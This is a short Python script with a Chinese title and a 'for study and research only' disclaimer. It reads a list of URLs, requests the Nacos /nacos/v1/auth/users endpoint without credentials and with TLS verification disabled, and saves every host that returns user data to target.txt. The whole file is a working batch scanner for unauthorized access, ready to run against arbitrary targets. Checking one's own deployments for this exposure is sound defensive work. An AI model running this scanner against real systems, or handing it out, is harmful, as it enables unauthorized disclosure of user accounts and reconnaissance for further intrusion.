nacos 批量检测 未授权访问

import requests
import urllib3

# 禁用证书验证警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(url):
    try:
        url_with_payload = url + '/nacos/v1/auth/users?pageNo=1&pageSize=9'
        response = requests.get(url_with_payload, verify=False, timeout=3)
        if 'username' in response.text:
            return True, url_with_payload
        else:
            return False, None
    except requests.exceptions.Timeout:
        print(url_with_payload + ' 请求超时，跳过此URL。')
        return False, None
    except requests.exceptions.RequestException as e:
        print(url_with_payload + ' 请求异常: ' + str(e))
        return False, None

def save_vulnerable_url(url):
    with open('target.txt', 'a') as f:
        f.write(url + '\n')

def main():
    with open('url.txt', 'r') as f:
        urls = f.readlines()

    for url in urls:
        url = url.strip()
        is_vulnerable, vulnerable_url = check_vulnerability(url)
        if is_vulnerable:
            print('漏洞存在：', vulnerable_url)
            save_vulnerable_url(vulnerable_url)
        else:
            print('漏洞不存在：', url)

if __name__ == '__main__':
    main()

print('end')

仅供学习和研究使用